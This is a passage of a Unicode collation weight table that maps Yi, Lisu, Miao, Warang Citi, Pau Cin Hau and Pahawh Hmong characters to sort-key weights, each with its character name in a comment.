[.4068.0020.0002] # YI SYLLABLE NJU +A441 ; [.4069.0020.0002] # YI SYLLABLE NJUP +A442 ; [.406A.0020.0002] # YI SYLLABLE NJURX +A443 ; [.406B.0020.0002] # YI SYLLABLE NJUR +A444 ; [.406C.0020.0002] # YI SYLLABLE NJYT +A445 ; [.406D.0020.0002] # YI SYLLABLE NJYX +A446 ; [.406E.0020.0002] # YI SYLLABLE NJY +A447 ; [.406F.0020.0002] # YI SYLLABLE NJYP +A448 ; [.4070.0020.0002] # YI SYLLABLE NJYRX +A449 ; [.4071.0020.0002] # YI SYLLABLE NJYR +A44A ; [.4072.0020.0002] # YI SYLLABLE NYIT +A44B ; [.4073.0020.0002] # YI SYLLABLE NYIX +A44C ; [.4074.0020.0002] # YI SYLLABLE NYI +A44D ; [.4075.0020.0002] # YI SYLLABLE NYIP +A44E ; [.4076.0020.0002] # YI SYLLABLE NYIET +A44F ; [.4077.0020.0002] # YI SYLLABLE NYIEX +A450 ; [.4078.0020.0002] # YI SYLLABLE NYIE +A451 ; [.4079.0020.0002] # YI SYLLABLE NYIEP +A452 ; [.407A.0020.0002] # YI SYLLABLE NYUOX +A453 ; [.407B.0020.0002] # YI SYLLABLE NYUO +A454 ; [.407C.0020.0002] # YI SYLLABLE NYUOP +A455 ; [.407D.0020.0002] # YI SYLLABLE NYOT +A456 ; [.407E.0020.0002] # YI SYLLABLE NYOX +A457 ; [.407F.0020.0002] # YI SYLLABLE NYO +A458 ; [.4080.0020.0002] # YI SYLLABLE NYOP +A459 ; [.4081.0020.0002] # YI SYLLABLE NYUT +A45A ; [.4082.0020.0002] # YI SYLLABLE NYUX +A45B ; [.4083.0020.0002] # YI SYLLABLE NYU +A45C ; [.4084.0020.0002] # YI SYLLABLE NYUP +A45D ; [.4085.0020.0002] # YI SYLLABLE XIT +A45E ; [.4086.0020.0002] # YI SYLLABLE XIX +A45F ; [.4087.0020.0002] # YI SYLLABLE XI +A460 ; [.4088.0020.0002] # YI SYLLABLE XIP +A461 ; [.4089.0020.0002] # YI SYLLABLE XIET +A462 ; [.408A.0020.0002] # YI SYLLABLE XIEX +A463 ; [.408B.0020.0002] # YI SYLLABLE XIE +A464 ; [.408C.0020.0002] # YI SYLLABLE XIEP +A465 ; [.408D.0020.0002] # YI SYLLABLE XUOX +A466 ; [.408E.0020.0002] # YI SYLLABLE XUO +A467 ; [.408F.0020.0002] # YI SYLLABLE XOT +A468 ; [.4090.0020.0002] # YI SYLLABLE XOX +A469 ; [.4091.0020.0002] # YI SYLLABLE XO +A46A ; [.4092.0020.0002] # YI SYLLABLE XOP +A46B ; [.4093.0020.0002] # YI SYLLABLE XYT +A46C ; [.4094.0020.0002] # YI SYLLABLE XYX +A46D ; [.4095.0020.0002] # YI SYLLABLE XY +A46E ; [.4096.0020.0002] # YI SYLLABLE XYP +A46F ; [.4097.0020.0002] # YI SYLLABLE XYRX +A470 ; [.4098.0020.0002] # YI SYLLABLE XYR +A471 ; [.4099.0020.0002] # YI SYLLABLE YIT +A472 ; [.409A.0020.0002] # YI SYLLABLE YIX +A473 ; [.409B.0020.0002] # YI SYLLABLE YI +A474 ; [.409C.0020.0002] # YI SYLLABLE YIP +A475 ; [.409D.0020.0002] # YI SYLLABLE YIET +A476 ; [.409E.0020.0002] # YI SYLLABLE YIEX +A477 ; [.409F.0020.0002] # YI SYLLABLE YIE +A478 ; [.40A0.0020.0002] # YI SYLLABLE YIEP +A479 ; [.40A1.0020.0002] # YI SYLLABLE YUOT +A47A ; [.40A2.0020.0002] # YI SYLLABLE YUOX +A47B ; [.40A3.0020.0002] # YI SYLLABLE YUO +A47C ; [.40A4.0020.0002] # YI SYLLABLE YUOP +A47D ; [.40A5.0020.0002] # YI SYLLABLE YOT +A47E ; [.40A6.0020.0002] # YI SYLLABLE YOX +A47F ; [.40A7.0020.0002] # YI SYLLABLE YO +A480 ; [.40A8.0020.0002] # YI SYLLABLE YOP +A481 ; [.40A9.0020.0002] # YI SYLLABLE YUT +A482 ; [.40AA.0020.0002] # YI SYLLABLE YUX +A483 ; [.40AB.0020.0002] # YI SYLLABLE YU +A484 ; [.40AC.0020.0002] # YI SYLLABLE YUP +A485 ; [.40AD.0020.0002] # YI SYLLABLE YURX +A486 ; [.40AE.0020.0002] # YI SYLLABLE YUR +A487 ; [.40AF.0020.0002] # YI SYLLABLE YYT +A488 ; [.40B0.0020.0002] # YI SYLLABLE YYX +A489 ; [.40B1.0020.0002] # YI SYLLABLE YY +A48A ; [.40B2.0020.0002] # YI SYLLABLE YYP +A48B ; [.40B3.0020.0002] # YI SYLLABLE YYRX +A48C ; [.40B4.0020.0002] # YI SYLLABLE YYR +A4F8 ; [.40B5.0020.0002] # LISU LETTER TONE MYA TI +A4F9 ; [.40B6.0020.0002] # LISU LETTER TONE NA PO +A4FA ; [.40B7.0020.0002] # LISU LETTER TONE MYA CYA +A4FB ; [.40B8.0020.0002] # LISU LETTER TONE MYA BO +A4FD ; [.40B9.0020.0002] # LISU LETTER TONE MYA JEU +A4FC ; [.40BA.0020.0002] # LISU LETTER TONE MYA NA +A4D0 ; [.40BB.0020.0002] # LISU LETTER BA +A4D1 ; [.40BC.0020.0002] # LISU LETTER PA +A4D2 ; [.40BD.0020.0002] # LISU LETTER PHA +A4D3 ; [.40BE.0020.0002] # LISU LETTER DA +A4D4 ; [.40BF.0020.0002] # LISU LETTER TA +A4D5 ; [.40C0.0020.0002] # LISU LETTER THA +A4D6 ; [.40C1.0020.0002] # LISU LETTER GA +A4D7 ; [.40C2.0020.0002] # LISU LETTER KA +A4D8 ; [.40C3.0020.0002] # LISU LETTER KHA +A4D9 ; [.40C4.0020.0002] # LISU LETTER JA +A4DA ; [.40C5.0020.0002] # LISU LETTER CA +A4DB ; [.40C6.0020.0002] # LISU LETTER CHA +A4DC ; [.40C7.0020.0002] # LISU LETTER DZA +A4DD ; [.40C8.0020.0002] # LISU LETTER TSA +A4DE ; [.40C9.0020.0002] # LISU LETTER TSHA +A4DF ; [.40CA.0020.0002] # LISU LETTER MA +A4E0 ; [.40CB.0020.0002] # LISU LETTER NA +A4E1 ; [.40CC.0020.0002] # LISU LETTER LA +A4E2 ; [.40CD.0020.0002] # LISU LETTER SA +A4E3 ; [.40CE.0020.0002] # LISU LETTER ZHA +A4E4 ; [.40CF.0020.0002] # LISU LETTER ZA +A4E5 ; [.40D0.0020.0002] # LISU LETTER NGA +A4E6 ; [.40D1.0020.0002] # LISU LETTER HA +A4E7 ; [.40D2.0020.0002] # LISU LETTER XA +A4E8 ; [.40D3.0020.0002] # LISU LETTER HHA +A4E9 ; [.40D4.0020.0002] # LISU LETTER FA +A4EB ; [.40D5.0020.0002] # LISU LETTER SHA +A4ED ; [.40D6.0020.0002] # LISU LETTER GHA +A4EA ; [.40D7.0020.0002] # LISU LETTER WA +A4EC ; [.40D8.0020.0002] # LISU LETTER YA +A4EE ; [.40D9.0020.0002] # LISU LETTER A +A4EF ; [.40DA.0020.0002] # LISU LETTER AE +A4F0 ; [.40DB.0020.0002] # LISU LETTER E +A4F1 ; [.40DC.0020.0002] # LISU LETTER EU +A4F2 ; [.40DD.0020.0002] # LISU LETTER I +A4F3 ; [.40DE.0020.0002] # LISU LETTER O +A4F4 ; [.40DF.0020.0002] # LISU LETTER U +A4F5 ; [.40E0.0020.0002] # LISU LETTER UE +A4F6 ; [.40E1.0020.0002] # LISU LETTER UH +A4F7 ; [.40E2.0020.0002] # LISU LETTER OE +16F00 ; [.40E3.0020.0002] # MIAO LETTER PA +16F01 ; [.40E4.0020.0002] # MIAO LETTER BA +16F02 ; [.40E5.0020.0002] # MIAO LETTER YI PA +16F03 ; [.40E6.0020.0002] # MIAO LETTER PLA +16F04 ; [.40E7.0020.0002] # MIAO LETTER MA +16F06 ; [.40E7.0020.0004] # MIAO LETTER ARCHAIC MA +16F05 ; [.40E8.0020.0002] # MIAO LETTER MHA +16F07 ; [.40E9.0020.0002] # MIAO LETTER FA +16F08 ; [.40EA.0020.0002] # MIAO LETTER VA +16F09 ; [.40EB.0020.0002] # MIAO LETTER VFA +16F0A ; [.40EC.0020.0002] # MIAO LETTER TA +16F0B ; [.40ED.0020.0002] # MIAO LETTER DA +16F0C ; [.40EE.0020.0002] # MIAO LETTER YI TTA +16F0D ; [.40EF.0020.0002] # MIAO LETTER YI TA +16F0E ; [.40F0.0020.0002] # MIAO LETTER TTA +16F0F ; [.40F1.0020.0002] # MIAO LETTER DDA +16F10 ; [.40F2.0020.0002] # MIAO LETTER NA +16F13 ; [.40F2.0020.0004] # MIAO LETTER ARCHAIC NA +16F11 ; [.40F3.0020.0002] # MIAO LETTER NHA +16F12 ; [.40F4.0020.0002] # MIAO LETTER YI NNA +16F14 ; [.40F5.0020.0002] # MIAO LETTER NNA +16F15 ; [.40F6.0020.0002] # MIAO LETTER NNHA +16F16 ; [.40F7.0020.0002] # MIAO LETTER LA +16F17 ; [.40F8.0020.0002] # MIAO LETTER LYA +16F18 ; [.40F9.0020.0002] # MIAO LETTER LHA +16F19 ; [.40FA.0020.0002] # MIAO LETTER LHYA +16F1A ; [.40FB.0020.0002] # MIAO LETTER TLHA +16F1B ; [.40FC.0020.0002] # MIAO LETTER DLHA +16F1C ; [.40FD.0020.0002] # MIAO LETTER TLHYA +16F1D ; [.40FE.0020.0002] # MIAO LETTER DLHYA +16F1E ; [.40FF.0020.0002] # MIAO LETTER KA +16F1F ; [.4100.0020.0002] # MIAO LETTER GA +16F20 ; [.4101.0020.0002] # MIAO LETTER YI KA +16F21 ; [.4102.0020.0002] # MIAO LETTER QA +16F22 ; [.4103.0020.0002] # MIAO LETTER QGA +16F23 ; [.4104.0020.0002] # MIAO LETTER NGA +16F25 ; [.4104.0020.0004] # MIAO LETTER ARCHAIC NGA +16F24 ; [.4105.0020.0002] # MIAO LETTER NGHA +16F26 ; [.4106.0020.0002] # MIAO LETTER HA +16F27 ; [.4107.0020.0002] # MIAO LETTER XA +16F28 ; [.4108.0020.0002] # MIAO LETTER GHA +16F29 ; [.4109.0020.0002] # MIAO LETTER GHHA +16F2A ; [.410A.0020.0002] # MIAO LETTER TSSA +16F2B ; [.410B.0020.0002] # MIAO LETTER DZZA +16F2C ; [.410C.0020.0002] # MIAO LETTER NYA +16F2D ; [.410D.0020.0002] # MIAO LETTER NYHA +16F2E ; [.410E.0020.0002] # MIAO LETTER TSHA +16F2F ; [.410F.0020.0002] # MIAO LETTER DZHA +16F30 ; [.4110.0020.0002] # MIAO LETTER YI TSHA +16F31 ; [.4111.0020.0002] # MIAO LETTER YI DZHA +16F32 ; [.4112.0020.0002] # MIAO LETTER REFORMED TSHA +16F33 ; [.4113.0020.0002] # MIAO LETTER SHA +16F34 ; [.4114.0020.0002] # MIAO LETTER SSA +16F35 ; [.4115.0020.0002] # MIAO LETTER ZHA +16F36 ; [.4116.0020.0002] # MIAO LETTER ZSHA +16F37 ; [.4117.0020.0002] # MIAO LETTER TSA +16F38 ; [.4118.0020.0002] # MIAO LETTER DZA +16F39 ; [.4119.0020.0002] # MIAO LETTER YI TSA +16F3A ; [.411A.0020.0002] # MIAO LETTER SA +16F3B ; [.411B.0020.0002] # MIAO LETTER ZA +16F3C ; [.411C.0020.0002] # MIAO LETTER ZSA +16F3D ; [.411D.0020.0002] # MIAO LETTER ZZA +16F3F ; [.411D.0020.0004] # MIAO LETTER ARCHAIC ZZA +16F3E ; [.411E.0020.0002] # MIAO LETTER ZZSA +16F40 ; [.411F.0020.0002] # MIAO LETTER ZZYA +16F41 ; [.4120.0020.0002] # MIAO LETTER ZZSYA +16F42 ; [.4121.0020.0002] # MIAO LETTER WA +16F43 ; [.4122.0020.0002] # MIAO LETTER AH +16F44 ; [.4123.0020.0002] # MIAO LETTER HHA +16F50 ; [.4124.0020.0002] # MIAO LETTER NASALIZATION +16F51 ; [.4125.0020.0002] # MIAO SIGN ASPIRATION +16F52 ; [.4126.0020.0002] # MIAO SIGN REFORMED VOICING +16F53 ; [.4127.0020.0002] # MIAO SIGN REFORMED ASPIRATION +16F54 ; [.4128.0020.0002] # MIAO VOWEL SIGN A +16F55 ; [.4129.0020.0002] # MIAO VOWEL SIGN AA +16F56 ; [.412A.0020.0002] # MIAO VOWEL SIGN AHH +16F57 ; [.412B.0020.0002] # MIAO VOWEL SIGN AN +16F58 ; [.412C.0020.0002] # MIAO VOWEL SIGN ANG +16F59 ; [.412D.0020.0002] # MIAO VOWEL SIGN O +16F5A ; [.412E.0020.0002] # MIAO VOWEL SIGN OO +16F5B ; [.412F.0020.0002] # MIAO VOWEL SIGN WO +16F5C ; [.4130.0020.0002] # MIAO VOWEL SIGN W +16F5D ; [.4131.0020.0002] # MIAO VOWEL SIGN E +16F5E ; [.4132.0020.0002] # MIAO VOWEL SIGN EN +16F5F ; [.4133.0020.0002] # MIAO VOWEL SIGN ENG +16F60 ; [.4134.0020.0002] # MIAO VOWEL SIGN OEY +16F61 ; [.4135.0020.0002] # MIAO VOWEL SIGN I +16F62 ; [.4136.0020.0002] # MIAO VOWEL SIGN IA +16F63 ; [.4137.0020.0002] # MIAO VOWEL SIGN IAN +16F64 ; [.4138.0020.0002] # MIAO VOWEL SIGN IANG +16F65 ; [.4139.0020.0002] # MIAO VOWEL SIGN IO +16F66 ; [.413A.0020.0002] # MIAO VOWEL SIGN IE +16F67 ; [.413B.0020.0002] # MIAO VOWEL SIGN II +16F68 ; [.413C.0020.0002] # MIAO VOWEL SIGN IU +16F69 ; [.413D.0020.0002] # MIAO VOWEL SIGN ING +16F6A ; [.413E.0020.0002] # MIAO VOWEL SIGN U +16F6B ; [.413F.0020.0002] # MIAO VOWEL SIGN UA +16F6C ; [.4140.0020.0002] # MIAO VOWEL SIGN UAN +16F6D ; [.4141.0020.0002] # MIAO VOWEL SIGN UANG +16F6E ; [.4142.0020.0002] # MIAO VOWEL SIGN UU +16F6F ; [.4143.0020.0002] # MIAO VOWEL SIGN UEI +16F70 ; [.4144.0020.0002] # MIAO VOWEL SIGN UNG +16F71 ; [.4145.0020.0002] # MIAO VOWEL SIGN Y +16F72 ; [.4146.0020.0002] # MIAO VOWEL SIGN YI +16F73 ; [.4147.0020.0002] # MIAO VOWEL SIGN AE +16F74 ; [.4148.0020.0002] # MIAO VOWEL SIGN AEE +16F75 ; [.4149.0020.0002] # MIAO VOWEL SIGN ERR +16F76 ; [.414A.0020.0002] # MIAO VOWEL SIGN ROUNDED ERR +16F77 ; [.414B.0020.0002] # MIAO VOWEL SIGN ER +16F78 ; [.414C.0020.0002] # MIAO VOWEL SIGN ROUNDED ER +16F79 ; [.414D.0020.0002] # MIAO VOWEL SIGN AI +16F7A ; [.414E.0020.0002] # MIAO VOWEL SIGN EI +16F7B ; [.414F.0020.0002] # MIAO VOWEL SIGN AU +16F7C ; [.4150.0020.0002] # MIAO VOWEL SIGN OU +16F7D ; [.4151.0020.0002] # MIAO VOWEL SIGN N +16F7E ; [.4152.0020.0002] # MIAO VOWEL SIGN NG +16F8F ; [.4153.0020.0002] # MIAO TONE RIGHT +16F90 ; [.4154.0020.0002] # MIAO TONE TOP RIGHT +16F91 ; [.4155.0020.0002] # MIAO TONE ABOVE +16F92 ; [.4156.0020.0002] # MIAO TONE BELOW +16F93 ; [.4157.0020.0002] # MIAO LETTER TONE-2 +16F94 ; [.4158.0020.0002] # MIAO LETTER TONE-3 +16F95 ; [.4159.0020.0002] # MIAO LETTER TONE-4 +16F96 ; [.415A.0020.0002] # MIAO LETTER TONE-5 +16F97 ; [.415B.0020.0002] # MIAO LETTER TONE-6 +16F98 ; [.415C.0020.0002] # MIAO LETTER TONE-7 +16F99 ; [.415D.0020.0002] # MIAO LETTER TONE-8 +16F9A ; [.415E.0020.0002] # MIAO LETTER REFORMED TONE-1 +16F9B ; [.415F.0020.0002] # MIAO LETTER REFORMED TONE-2 +16F9C ; [.4160.0020.0002] # MIAO LETTER REFORMED TONE-4 +16F9D ; [.4161.0020.0002] # MIAO LETTER REFORMED TONE-5 +16F9E ; [.4162.0020.0002] # MIAO LETTER REFORMED TONE-6 +16F9F ; [.4163.0020.0002] # MIAO LETTER REFORMED TONE-8 +118FF ; [.4164.0020.0002] # WARANG CITI OM +118C0 ; [.4165.0020.0002] # WARANG CITI SMALL LETTER NGAA +118A0 ; [.4165.0020.0008] # WARANG CITI CAPITAL LETTER NGAA +118C1 ; [.4166.0020.0002] # WARANG CITI SMALL LETTER A +118A1 ; [.4166.0020.0008] # WARANG CITI CAPITAL LETTER A +118C2 ; [.4167.0020.0002] # WARANG CITI SMALL LETTER WI +118A2 ; [.4167.0020.0008] # WARANG CITI CAPITAL LETTER WI +118C3 ; [.4168.0020.0002] # WARANG CITI SMALL LETTER YU +118A3 ; [.4168.0020.0008] # WARANG CITI CAPITAL LETTER YU +118C4 ; [.4169.0020.0002] # WARANG CITI SMALL LETTER YA +118A4 ; [.4169.0020.0008] # WARANG CITI CAPITAL LETTER YA +118C5 ; [.416A.0020.0002] # WARANG CITI SMALL LETTER YO +118A5 ; [.416A.0020.0008] # WARANG CITI CAPITAL LETTER YO +118C6 ; [.416B.0020.0002] # WARANG CITI SMALL LETTER II +118A6 ; [.416B.0020.0008] # WARANG CITI CAPITAL LETTER II +118C7 ; [.416C.0020.0002] # WARANG CITI SMALL LETTER UU +118A7 ; [.416C.0020.0008] # WARANG CITI CAPITAL LETTER UU +118C8 ; [.416D.0020.0002] # WARANG CITI SMALL LETTER E +118A8 ; [.416D.0020.0008] # WARANG CITI CAPITAL LETTER E +118C9 ; [.416E.0020.0002] # WARANG CITI SMALL LETTER O +118A9 ; [.416E.0020.0008] # WARANG CITI CAPITAL LETTER O +118CA ; [.416F.0020.0002] # WARANG CITI SMALL LETTER ANG +118AA ; [.416F.0020.0008] # WARANG CITI CAPITAL LETTER ANG +118CB ; [.4170.0020.0002] # WARANG CITI SMALL LETTER GA +118AB ; [.4170.0020.0008] # WARANG CITI CAPITAL LETTER GA +118CC ; [.4171.0020.0002] # WARANG CITI SMALL LETTER KO +118AC ; [.4171.0020.0008] # WARANG CITI CAPITAL LETTER KO +118CD ; [.4172.0020.0002] # WARANG CITI SMALL LETTER ENY +118AD ; [.4172.0020.0008] # WARANG CITI CAPITAL LETTER ENY +118CE ; [.4173.0020.0002] # WARANG CITI SMALL LETTER YUJ +118AE ; [.4173.0020.0008] # WARANG CITI CAPITAL LETTER YUJ +118CF ; [.4174.0020.0002] # WARANG CITI SMALL LETTER UC +118AF ; [.4174.0020.0008] # WARANG CITI CAPITAL LETTER UC +118D0 ; [.4175.0020.0002] # WARANG CITI SMALL LETTER ENN +118B0 ; [.4175.0020.0008] # WARANG CITI CAPITAL LETTER ENN +118D1 ; [.4176.0020.0002] # WARANG CITI SMALL LETTER ODD +118B1 ; [.4176.0020.0008] # WARANG CITI CAPITAL LETTER ODD +118D2 ; [.4177.0020.0002] # WARANG CITI SMALL LETTER TTE +118B2 ; [.4177.0020.0008] # WARANG CITI CAPITAL LETTER TTE +118D3 ; [.4178.0020.0002] # WARANG CITI SMALL LETTER NUNG +118B3 ; [.4178.0020.0008] # WARANG CITI CAPITAL LETTER NUNG +118D4 ; [.4179.0020.0002] # WARANG CITI SMALL LETTER DA +118B4 ; [.4179.0020.0008] # WARANG CITI CAPITAL LETTER DA +118D5 ; [.417A.0020.0002] # WARANG CITI SMALL LETTER AT +118B5 ; [.417A.0020.0008] # WARANG CITI CAPITAL LETTER AT +118D6 ; [.417B.0020.0002] # WARANG CITI SMALL LETTER AM +118B6 ; [.417B.0020.0008] # WARANG CITI CAPITAL LETTER AM +118D7 ; [.417C.0020.0002] # WARANG CITI SMALL LETTER BU +118B7 ; [.417C.0020.0008] # WARANG CITI CAPITAL LETTER BU +118D8 ; [.417D.0020.0002] # WARANG CITI SMALL LETTER PU +118B8 ; [.417D.0020.0008] # WARANG CITI CAPITAL LETTER PU +118D9 ; [.417E.0020.0002] # WARANG CITI SMALL LETTER HIYO +118B9 ; [.417E.0020.0008] # WARANG CITI CAPITAL LETTER HIYO +118DA ; [.417F.0020.0002] # WARANG CITI SMALL LETTER HOLO +118BA ; [.417F.0020.0008] # WARANG CITI CAPITAL LETTER HOLO +118DB ; [.4180.0020.0002] # WARANG CITI SMALL LETTER HORR +118BB ; [.4180.0020.0008] # WARANG CITI CAPITAL LETTER HORR +118DC ; [.4181.0020.0002] # WARANG CITI SMALL LETTER HAR +118BC ; [.4181.0020.0008] # WARANG CITI CAPITAL LETTER HAR +118DD ; [.4182.0020.0002] # WARANG CITI SMALL LETTER SSUU +118BD ; [.4182.0020.0008] # WARANG CITI CAPITAL LETTER SSUU +118DE ; [.4183.0020.0002] # WARANG CITI SMALL LETTER SII +118BE ; [.4183.0020.0008] # WARANG CITI CAPITAL LETTER SII +118DF ; [.4184.0020.0002] # WARANG CITI SMALL LETTER VIYO +118BF ; [.4184.0020.0008] # WARANG CITI CAPITAL LETTER VIYO +11AD5 ; [.4185.0020.0002] # PAU CIN HAU LETTER A +11AD6 ; [.4186.0020.0002] # PAU CIN HAU LETTER E +11AD7 ; [.4187.0020.0002] # PAU CIN HAU LETTER I +11AD8 ; [.4188.0020.0002] # PAU CIN HAU LETTER O +11AD9 ; [.4189.0020.0002] # PAU CIN HAU LETTER U +11ADA ; [.418A.0020.0002] # PAU CIN HAU LETTER UA +11ADB ; [.418B.0020.0002] # PAU CIN HAU LETTER IA +11AC0 ; [.418C.0020.0002] # PAU CIN HAU LETTER PA +11AC1 ; [.418D.0020.0002] # PAU CIN HAU LETTER KA +11AC2 ; [.418E.0020.0002] # PAU CIN HAU LETTER LA +11AC3 ; [.418F.0020.0002] # PAU CIN HAU LETTER MA +11AC4 ; [.4190.0020.0002] # PAU CIN HAU LETTER DA +11AC5 ; [.4191.0020.0002] # PAU CIN HAU LETTER ZA +11AC6 ; [.4192.0020.0002] # PAU CIN HAU LETTER VA +11AC7 ; [.4193.0020.0002] # PAU CIN HAU LETTER NGA +11AC8 ; [.4194.0020.0002] # PAU CIN HAU LETTER HA +11AC9 ; [.4195.0020.0002] # PAU CIN HAU LETTER GA +11ACA ; [.4196.0020.0002] # PAU CIN HAU LETTER KHA +11ACB ; [.4197.0020.0002] # PAU CIN HAU LETTER SA +11ACC ; [.4198.0020.0002] # PAU CIN HAU LETTER BA +11ACD ; [.4199.0020.0002] # PAU CIN HAU LETTER CA +11ACE ; [.419A.0020.0002] # PAU CIN HAU LETTER TA +11ACF ; [.419B.0020.0002] # PAU CIN HAU LETTER THA +11AD0 ; [.419C.0020.0002] # PAU CIN HAU LETTER NA +11AD1 ; [.419D.0020.0002] # PAU CIN HAU LETTER PHA +11AD2 ; [.419E.0020.0002] # PAU CIN HAU LETTER RA +11AD3 ; [.419F.0020.0002] # PAU CIN HAU LETTER FA +11AD4 ; [.41A0.0020.0002] # PAU CIN HAU LETTER CHA +11ADC ; [.41A1.0020.0002] # PAU CIN HAU LETTER FINAL P +11ADD ; [.41A2.0020.0002] # PAU CIN HAU LETTER FINAL K +11ADF ; [.41A3.0020.0002] # PAU CIN HAU LETTER FINAL M +11AE0 ; [.41A4.0020.0002] # PAU CIN HAU LETTER FINAL N +11AE1 ; [.41A5.0020.0002] # PAU CIN HAU LETTER FINAL L +11AE2 ; [.41A6.0020.0002] # PAU CIN HAU LETTER FINAL W +11AE3 ; [.41A7.0020.0002] # PAU CIN HAU LETTER FINAL NG +11ADE ; [.41A8.0020.0002] # PAU CIN HAU LETTER FINAL T +11AE4 ; [.41A9.0020.0002] # PAU CIN HAU LETTER FINAL Y +11AEF ; [.41AA.0020.0002] # PAU CIN HAU MID-LEVEL TONE +11AF2 ; [.41AB.0020.0002] # PAU CIN HAU MID-LEVEL TONE FINAL +11AF1 ; [.41AC.0020.0002] # PAU CIN HAU MID-LEVEL TONE LONG FINAL +11AE6 ; [.41AD.0020.0002] # PAU CIN HAU RISING TONE +11AE9 ; [.41AE.0020.0002] # PAU CIN HAU RISING TONE FINAL +11AE5 ; [.41AF.0020.0002] # PAU CIN HAU RISING TONE LONG +11AE8 ; [.41B0.0020.0002] # PAU CIN HAU RISING TONE LONG FINAL +11AF4 ; [.41B1.0020.0002] # PAU CIN HAU LOW-FALLING TONE +11AF7 ; [.41B2.0020.0002] # PAU CIN HAU LOW-FALLING TONE FINAL +11AF3 ; [.41B3.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG +11AF6 ; [.41B4.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG FINAL +11AEC ; [.41B5.0020.0002] # PAU CIN HAU SANDHI TONE +11AEE ; [.41B6.0020.0002] # PAU CIN HAU SANDHI TONE FINAL +11AEB ; [.41B7.0020.0002] # PAU CIN HAU SANDHI TONE LONG +11AED ; [.41B8.0020.0002] # PAU CIN HAU SANDHI TONE LONG FINAL +11AF5 ; [.41B9.0020.0002] # PAU CIN HAU GLOTTAL STOP +11AF8 ; [.41BA.0020.0002] # PAU CIN HAU GLOTTAL STOP FINAL +11AE7 ; [.41BB.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP +11AEA ; [.41BC.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP FINAL +11AF0 ; [.41BD.0020.0002] # PAU CIN HAU GLOTTAL STOP VARIANT +16B00 ; [.41BE.0020.0002] # PAHAWH HMONG VOWEL KEEB +16B01 ; [.41BF.0020.0002] # PAHAWH HMONG VOWEL KEEV +16B02 ; [.41C0.0020.0002] # PAHAWH HMONG VOWEL KIB +16B03 ; [.41C1.0020.0002] # PAHAWH HMONG VOWEL KIV +16B04 ; [.41C2.0020.0002] # PAHAWH HMONG VOWEL KAUB +16B05 ; [.41C3.0020.0002] # PAHAWH HMONG VOWEL KAUV +16B06 ; [.41C4.0020.0002] # PAHAWH HMONG VOWEL KUB +16B07 ; [.41C5.0020.0002] # PAHAWH HMONG VOWEL KUV +16B08 ; [.41C6.0020.0002] # PAHAWH HMONG VOWEL KEB +16B09 ; [.41C7.0020.0002] # PAHAWH HMONG VOWEL KEV +16B0A ; [.41C8.0020.0002] # PAHAWH HMONG VOWEL KAIB +16B0B ; [.41C9.0020.0002] # PAHAWH HMONG VOWEL KAIV +16B0C ; [.41CA.0020.0002] # PAHAWH HMONG VOWEL KOOB +16B0D ; [.41CB.0020.0002] # PAHAWH HMONG VOWEL KOOV +16B0E ; [.41CC.0020.0002] # PAHAWH HMONG VOWEL KAWB +16B0F ; [.41CD.0020.0002] # PAHAWH HMONG VOWEL KAWV +16B10 ; [.41CE.0020.0002] # PAHAWH HMONG VOWEL KUAB +16B11 ; [.41CF.0020.0002] # PAHAWH HMONG VOWEL KUAV +16B12 ; [.41D0.0020.0002] # PAHAWH HMONG VOWEL KOB +16B13 ; [.41D1.0020.0002] # PAHAWH HMONG VOWEL KOV +16B14 ; [.41D2.0020.0002] # PAHAWH HMONG VOWEL KIAB +16B15 ; [.41D3.0020.0002] # PAHAWH HMONG VOWEL KIAV +16B16 ; [.41D4.0020.0002] # PAHAWH HMONG VOWEL KAB +16B17 ; [.41D5.0020.0002] # PAHAWH HMONG VOWEL KAV +16B18 ; [.41D6.0020.0002] # PAHAWH HMONG VOWEL KWB +16B19 ; [.41D7.0020.0002] # PAHAWH HMONG VOWEL KWV +16B1A ; [.41D8.0020.0002] # PAHAWH HMONG VOWEL KAAB +16B1B ; [.41D9.0020.0002] # PAHAWH HMONG VOWEL KAAV +16B1C ; [.41DA.0020.0002] # PAHAWH HMONG CONSONANT VAU +16B1D ; [.41DB.0020.0002] # PAHAWH HMONG CONSONANT NTSAU +16B1E ; [.41DC.0020.0002] # PAHAWH HMONG CONSONANT LAU +16B1F ; [.41DD.0020.0002] # PAHAWH HMONG CONSONANT HAU +16B20 ; [.41DE.0020.0002] # PAHAWH HMONG CONSONANT NLAU +16B21 ; [.41DF.0020.0002] # PAHAWH HMONG CONSONANT RAU +16B22 ; [.41E0.0020.0002] # PAHAWH HMONG CONSONANT NKAU +16B23 ; [.41E1.0020.0002] # PAHAWH HMONG CONSONANT QHAU +16B24 ; [.41E2.0020.0002] # PAHAWH HMONG CONSONANT YAU +16B25 ; [.41E3.0020.0002] # PAHAWH HMONG CONSONANT HLAU +16B26 ; [.41E4.0020.0002] # PAHAWH HMONG CONSONANT MAU +16B27 ; [.41E5.0020.0002] # PAHAWH HMONG CONSONANT CHAU +16B28 ; [.41E6.0020.0002] # PAHAWH HMONG CONSONANT NCHAU +16B29 ; [.41E7.0020.0002] # PAHAWH HMONG CONSONANT HNAU +16B2A ; [.41E8.0020.0002] # PAHAWH HMONG CONSONANT PLHAU +16B2B ; [.41E9.0020.0002] # PAHAWH HMONG CONSONANT NTHAU +16B2C ; [.41EA.0020.0002] # PAHAWH HMONG CONSONANT NAU +16B2D ; [.41EB.0020.0002] # PAHAWH HMONG CONSONANT AU +16B2E ; [.41EC.0020.0002] # PAHAWH HMONG CONSONANT XAU +16B2F ; [.41ED.0020.0002] # PAHAWH HMONG CONSONANT CAU +16B40 ; [.41EE.0020.0002] # PAHAWH HMONG SIGN VOS SEEV +16B41 ; [.41EF.0020.0002] # PAHAWH HMONG SIGN MEEJ SUAB +16B63 ; [.41F0.0020.0002] # PAHAWH HMONG SIGN VOS LUB +16B64 ; [.41F1.0020.0002] # PAHAWH HMONG SIGN XYOO +16B65 ; [.41F2.0020.0002] # PAHAWH HMONG SIGN HLI +16B66 ; [.41F3.0020.0002] # PAHAWH HMONG SIGN THIRD-STAGE HLI +16B67 ; [.41F4.0020.0002] # PAHAWH HMONG SIGN ZWJ THAJ +16B68 ; [.41F5.0020.0002] # PAHAWH HMONG SIGN HNUB +16B69 ; [.41F6.0020.0002] # PAHAWH HMONG SIGN NQIG +16B6A ; [.41F7.0020.0002] # PAHAWH HMONG SIGN XIAB +16B6B ; 